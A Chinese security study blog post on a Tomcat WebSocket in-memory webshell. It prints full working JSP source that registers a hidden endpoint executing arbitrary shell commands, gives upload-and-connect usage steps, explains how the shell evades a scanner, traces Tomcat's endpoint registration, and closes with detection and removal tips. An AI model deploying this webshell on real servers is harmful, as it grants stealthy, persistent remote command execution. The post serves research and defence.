WebSocket 内存马学习与分析

警告
本文最后更新于 2023-08-29,文中内容可能已过时。

WebSocket 内存马学习与分析

veo/wsMemShell: WebSocket 内存马/Webshell,一种新型内存马/WebShell技术 (github.com)

wsMemShell/websocket1.md at main · veo/wsMemShell (github.com)

这里用 Tomcat 作为测试分析环境,看到 wsMemShell

<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>

<%!
    public static class C extends Endpoint implements MessageHandler.Whole<String> {
        private Session session;
        @Override
        public void onMessage(String s) {
            try {
                Process process;
                boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
                if (bool) {
                    process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
                } else {
                    process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
                }
                InputStream inputStream = process.getInputStream();
                StringBuilder stringBuilder = new StringBuilder();
                int i;
                while ((i = inputStream.read()) != -1)
                    stringBuilder.append((char)i);
                inputStream.close();
                process.waitFor();
                session.getBasicRemote().sendText(stringBuilder.toString());
            } catch (Exception exception) {
                exception.printStackTrace();
            }
        }
        @Override
        public void onOpen(final Session session, EndpointConfig config) {
            this.session = session;
            session.addMessageHandler(this);
        }
    }
%>
<%
    String path = request.getParameter("path");
    ServletContext servletContext = request.getSession().getServletContext();
    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
    ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
    try {
        if (servletContext.getAttribute(path) == null){
            container.addEndpoint(configEndpoint);
            servletContext.setAttribute(path,path);
        }
        out.println("success, connect url path: " + servletContext.getContextPath() + path);
    } catch (Exception e) {
        out.println(e.toString());
    }
%>
  1. 上传这个 JSP Webshell;

  2. 访问并且注入 Websocket 内存马,设置一个路径,这里是 /x

    http://192.168.47.131:8080/ws_shell.jsp?path=/x

    image-20221125145018036

  3. 使用工具连接 Websocket 服务端,地址如下:

    ws://192.168.47.131:8080/x

    连接,发送请求,例如 whoami 命令;

    image-20221125145330569

命令执行就成功了

接下来的环境是在 IDEA 搭建的 Tocmat 环境里面测试

  • 删除文件后依然可以进行 Websocket 的连接并且命令执行;
  • 而且 memshell scanner 的 JSP 脚本无法发现此内存马。

注入了之后使用,IDEA 的 endpoint 居然依旧没有异常,只有一个正常的。(这里不知道为什么)

image-20221125150838552

命令执行一次 Wireshark 只有四个TCP报文

image-20221125151800094

先不管三七二十一,先根据自己的经验分析一下。

JSP 一共分为两部分不是很多。

第一部分是接收连接后发送的参数和返回命令执行的结果,和 初始化连接的会话。一个 C 类,重写了 onMessageonOpen 方法。

第一行在onOpen中得到初始化。

private Session session;

初始化了一个 Session 对象,随便查看一下使用 Session 对象做什么,方便查阅。

在两个重写的方法里面调用了如下两次:

session.getBasicRemote().sendText(stringBuilder.toString());
session.addMessageHandler(this);

在这里查阅 Session (Java(TM) EE 7 Specification APIs) (oracle.com)

Web Socket 会话表示两个 Web 套接字端点之间的对话。一旦 websocket 握手成功完成,web 套接字实现就会为端点提供一个打开的 websocket 会话。然后端点可以通过向会话提供 MessageHandler 来注册对传入消息的兴趣,这些消息是这个新创建的会话的一部分,并且可以通过从此会话获得的 RemoteEndpoint 对象将消息发送到会话的另一端。

这里是 session 是 Websocket 的会话的意思。

其中 nMessage 方法是重写了 MessageHandler 接口的 Whole 接口的方法。

image-20221125163523056

onMessage 方法是 当消息被完全接收时调用的。在这里也就是我们连接了之后,发送例如 whoami 的命令过来的时候,然后执行 onMessage 方法。传入的参数就是 String 对象。

中间就是正常的命令执行的代码了,返回结果到 stringBuilder 里面。

到这行是给远程端点发送命令执行的结果。

session.getBasicRemote().sendText(stringBuilder.toString());

getBasicRemote(),返回一个 RemoteEndpoint 对象的引用,该对象表示此对话的能够向对等方同步发送消息的对等方。

sendText(),发送一条文本消息,阻塞直到所有消息都已传输。

其中 onOpen 方法是重写父类 Endpoint 抽象类的方法。

onOpen(),开发人员必须实现此方法才能在新对话刚刚开始时收到通知。

一共两行代码:

this.session = session;
session.addMessageHandler(this);

第一行是初始化 this.session,第二行是注册一个 Handler

addMessageHandler(MessageHandler handler),注册以处理此对话中的传入消息。

第二部分是注入的关键部分,将会在这里添加我们前面第一部分自定义的 Endpoint 进入当前的 Container 里。

String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

拿到 path 的值,下面会作为初始化 ServerEndpointConfig 对象的参数之一;

拿到 ServletContext 对象,;

通过 C.classClass对象,新建一个 ServerEndpointConfig对象 ,后面会直接 addEndpoint(configEndpoint)

拿到 ServerContainer,后面会调用 container.addEndpoint(),添加进我们自定义的 Endpoint

Container和Connector组成Service,一个Tomcat可以有多个Service。

Container的结构是,Engine -> Host -> Context -> Wrapper -> Servlet。

由于是动态类,所以调试不到 C 类里面,但是可以调试到参数。

断点打在 sendText 方法里面,也就是

image-20221125173741280

image-20221125173807638

调试到的结果

image-20221125173908064

但是第二部分是可以调试到的

image-20221125174400169

利用 JSP 添加内存马成功就相当于注入一个 EndPoint 内存马,本质上和 Filter 内存马, Servlet 内存马一样,都是利用 Tomcat 的架构里面的某一样东西,本来就是正常的东西,然后新建一个新的恶意的可自定义的,例如 Filter,Servlet 和这里的 EndPoint。

死磕Tomcat系列(1)——整体架构 - 掘金 (juejin.cn)

Apache Tomcat 9 Architecture (9.0.69) - Architecture Overview

参考这篇文章已经讲的很清楚了,其中 EndPoint 是 Connector 的一部分。

Connector 包括 EndPoint,Processor 和 Adapter。

上一节调试的时候可以拿到命令执行之后的调用栈

sendText:37, WsRemoteEndpointBasic (org.apache.tomcat.websocket)
onMessage:43, ws_005fshell_jsp$C (org.apache.jsp)
onMessage:1, ws_005fshell_jsp$C (org.apache.jsp)
sendMessageText:394, WsFrameBase (org.apache.tomcat.websocket)
sendMessageText:119, WsFrameServer (org.apache.tomcat.websocket.server)
processDataText:495, WsFrameBase (org.apache.tomcat.websocket)
processData:294, WsFrameBase (org.apache.tomcat.websocket)
processInputBuffer:133, WsFrameBase (org.apache.tomcat.websocket)
onDataAvailable:82, WsFrameServer (org.apache.tomcat.websocket.server)
doOnDataAvailable:171, WsFrameServer (org.apache.tomcat.websocket.server)
notifyDataAvailable:151, WsFrameServer (org.apache.tomcat.websocket.server)
upgradeDispatch:148, WsHttpUpgradeHandler (org.apache.tomcat.websocket.server)
dispatch:54, UpgradeProcessorInternal (org.apache.coyote.http11.upgrade)
process:53, AbstractProcessorLight (org.apache.coyote)
process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1459, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

可以看到前面经过了几个 Processor 之后才进入到 WsHttpUpgradeHandler 的。但是这些没有一个可以步入进入调试的,在文档一个一个看吧。

在写 Webshell 之前我们肯定是不知道怎么去写的,所以我们要先知道正常的 Websocket 服务的怎么写的,然后分析其中的流程,简化之后再 JSP 里面去实现,甚至是反序列化中实现内存马。

其中我在官方文档中搜索到官方示例代码,这个应该是一个实现聊天功能的Websocket代码。

把示例写进 Tomcat 项目中,缺少JULI依赖,pom 文件中添加,Maven 更新依赖就可以了:

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/juli -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>juli</artifactId>
    <version>6.0.26</version>
</dependency>

解决一下 HTMLFilter 的问题,在这里就有。

运行 Tomcat 项目然后,Websocket 连接两个,分别模拟不同的人进入聊天

ws://localhost:8088/Tomcat_demo_war_exploded/websocket/chat

image-20221128103103579

当然这里的中重点是学习如何编写一个 Websocket 服务的。

参考: WebSocket通信原理和在Tomcat中实现源码详解

搜索到这篇文章有很好的分析,在服务端API小节中说到

服务器端的Endpoint有两种实现方式,一种是注解方式@ServerEndpoint,一种是继承抽象类Endpoint

@ServerEndpoint可以注解到任何类上,但是想实现服务端的完整功能,还需要配合几个生命周期的注解使用,这些生命周期注解只能注解在方法上:

@OnOpen 建立连接时触发。 @OnClose 关闭连接时触发。 @OnError 发生异常时触发。 @OnMessage 接收到消息时触发。

我们可以发现 Tocmat 官方的例子是使用注解的方式。那么我们写一个恶意的Websocket EndPoint 也使用注解的方式。图个简单。

现在我们就是探索这用注解写的Websocket的ServerEndpoint是怎么被Tomcat去加载的了。

写一个 Demo 如下

package com.example.tomcat_demo;


import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;

@ServerEndpoint(value = "/websocket/test")
public class CMDWebsocket{
    private Session session;

    @OnOpen
    public void start(Session session) {
        this.session = session;
        this.session.getAsyncRemote().sendText("websocket start");
    }

    @OnClose
    public void end() {
        System.out.println("websocket close");
    }

    @OnMessage
    public void incoming(String message) {
        this.session.getAsyncRemote().sendText("websocket recievd: "+message);
    }

    @OnError
    public void onError(Throwable t) {
        System.out.println("websocket error");
    }
}

断点打在哪里呢?

上面的参考里提到** Server Endpoint 是如何被扫描加载的?**

Tomcat 提供了一个org.apache.tomcat.websocket.server.WsSci类来初始化、加载WebSocket。从类名上顾名思义,利用了Sci加载机制,何为Sci加载机制?就是实现接口 jakarta.servlet.ServletContainerInitializer,在Tomcat部署装载Web项目(org.apache.catalina.core.StandardContext#startInternal)时主动触发ServletContainerInitializer#onStartup,做一些扩展的初始化操作。

WsSci主要做了一件事,就是扫描加载Server Endpoint,并将其加到WebSocket容器里jakarta.websocket.WebSocketContainer。

WsSci主要会扫描三种类:

加了@ServerEndpoint的类。 Endpoint的子类。 ServerApplicationConfig的子类。

这样就知道断点应该下在哪里了,在 org.apache.tomcat.websocket.server.WsSci,但是发现一个问题,我发现 IDEA 新建的 Tomcat 项目是搜索不到 org.apache.tomcat.websocket 的,这也就说明了之前调用链调试的时候查看不到对应的文件了。

可能是 Tomcat 中的 jar 没有添加进IDEA,我们先尝试在 pom 文件添加依赖然后Maven更新它。

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-websocket -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-websocket</artifactId>
    <version>10.1.2</version>
</dependency>

后面尝试调试的时候是不行的,尝试添加 jar 进入 IDEA。

image-20221128111743155

将所有的 Jar 文件添加进 IDEA

image-20221128112044273

确认一下

image-20221128112010808

选择 init 方法打下断点

image-20221128112122317

开启调试按钮,调试进来了说明调试环境没有问题

image-20221128112206861

右上角有个 Choose Sources,选择对应的 Tomcat 的源码,这样就可以调试源码了。

image-20221128113529239

调试环境配置就到此结束了。

首先看一下 onStartup 方法的参数

image-20221128144608396

进入循环拿出 clazzes,for (Class<?> clazz : clazzes)

image-20221128114753980

看到下面三个判断处理对应着 ServerEndPoint 的添加,我们的 Demo 最终会进入这里。

image-20221128114031112

然后把 clazz 加入了一个 Set

然后执行到,filteredPojoEndpointsscannedPojoEndpoints 其实和clazzes 是一个东西,也都是有三个内容

image-20221128120133747

最后

image-20221128115438558

sc 就是 init 方法返回的 WsServerContainer 对象 sc 。这里步入 addEndpoint 方法。关键代码如下:

image-20221128144729514

这里又调用到 public void addEndpoint(ServerEndpointConfig sec) 方法,执行到

image-20221128144833010

这里明显是处理我们 POJO 中的 OnClose 等方法,这里很明显能看出通过 PojoMethodMapping 类去解析配置信息,获取 OnCloseOnOpen 等方法,添加到 ServerEndpointConfig 对象中。

image-20221128145416639

最后执行完这两行就结束

image-20221128145015472

其中的关键是:

  • 获取 StandardContext
  • 获取 WebSocketContainer
  • 创建恶意的 ServerEndpointConfig
  • 调用 addEndpoint()
//1 创建 ServerEndpointConfig,传入恶意 POJO 类的 Class 和 绑定的 path
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, String path).build();

//2 从 ServletContext 中拿到 ServerContainer
ServletContext servletContext = request.getSession().getServletContext();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

//3 往 ServerContainer 中添加我们的恶意 ServerEndpoint
container.addEndpoint(configEndpoint);

分别对应源码中的

//1 ServerEndpointConfig
ServerEndpointConfig sec;
sec = ServerEndpointConfig.Builder.create(pojo, path).
                decoders(Arrays.asList(annotation.decoders())).
                encoders(Arrays.asList(annotation.encoders())).
                subprotocols(Arrays.asList(annotation.subprotocols())).
                configurator(configurator).
                build();

//2 从ServletContext拿到ServerContainer
WsServerContainer sc = init(ctx, true);

//3 往ServerContainer中添加我们的恶意ServerEndpoint
addEndpoint(sec);

变成JSP就是一开始的那样了。

很明显 IDEA 是可以看到这几个通过注解添加的 EndPoint 的,但是之前可能是因为通过 JSP 注入的不常规方式添加 EndPoint,IDEA 查不出来而已,理论上是可以检测出来的。

根据websocket 新型内存马的应急响应 (seebug.org)

[qax@localhost ROOT]$ lsof -i:8080
COMMAND   PID USER   FD   TYPE   DEVICE SIZE/OFF NODE NAME
java    16433  qax   54u  IPv6 96840559      0t0  TCP *:webcache (LISTEN)
java    16433  qax   68u  IPv6 96877578      0t0  TCP localhost.localdomain:webcache->192.168.47.1:62686 (ESTABLISHED)

在java 的 lib 文件夹处,打开 HSDB(sa-jdi.jar

java -cp sa-jdi.jar sun.jvm.hotspot.HSDB

查找到 Endpoint 然后卸载掉。

当然sannner也可以查看。